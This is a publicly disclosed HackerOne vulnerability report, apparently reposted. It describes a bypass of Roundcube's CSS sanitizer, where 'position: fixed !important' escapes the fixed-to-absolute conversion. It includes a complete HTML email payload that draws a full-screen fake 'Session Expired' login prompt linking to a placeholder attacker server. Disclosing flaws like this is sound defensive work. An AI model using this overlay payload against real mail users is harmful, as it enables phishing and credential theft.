HexBrain

Nextcloud · Report #3590586

position: fixed !important bypasses CSS sanitizer's fixed-position mitigation, enabling full-viewport phishing overlays.

Validstatus
mediumseverity
44upvotes
20 Apr 2026disclosed

How it was found

When sanitizing CSS, Roundcube's sanitize_css_block() in rcube_utils.php converts position: fixed to position: absolute to prevent overlay attacks (L555-557).

However, the check uses strcasecmp($value, 'fixed') === 0, which requires the entire trimmed value to be exactly "fixed". The value "fixed !important" fails this comparison. The value then flows through the generic token-based validation path, where explode_css_property_block() splits it into tokens ['fixed', '!important'] that both individually pass the allowlist, reassembling as position: fixed !important in the output.

Steps To Reproduce

Step 1: Send an HTML email with the following body:

<!DOCTYPE html>
<html>
<head><title>Account Update</title></head>
<body>
<p>Please see below for your account details.</p>

<style>
.overlay {
    position: fixed !important;
    top: 0; left: 0;
    width: 100%; height: 100%;
    background: white;
    z-index: 99999;
    display: flex;
    align-items: center;
    justify-content: center;
}
.dialog {
    border: 1px solid #ccc;
    border-radius: 8px;
    padding: 30px;
    max-width: 400px;
    text-align: center;
    font-family: Arial, sans-serif;
}
</style>

<div class="overlay">
  <div class="dialog">
    <h2>Session Expired</h2>
    <p>Your Roundcube session has expired due to inactivity.</p>
    <p><a href="https://ATTACKER_SERVER/phish/login" style="background:#0066cc;color:white;padding:10px 20px;text-decoration:none;border-radius:4px;">Sign In Again</a></p>
  </div>
</div>

</body>
</html>

Step 2: Open the email in Roundcube.

Step 3: Observe the phishing overlay covering:

  • The preview pane (iframe) in normal view
  • The full browser viewport when the message is opened in a new window (no iframe)

{F5484824} {F5484826}

Impact

CSS injection, phishing

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original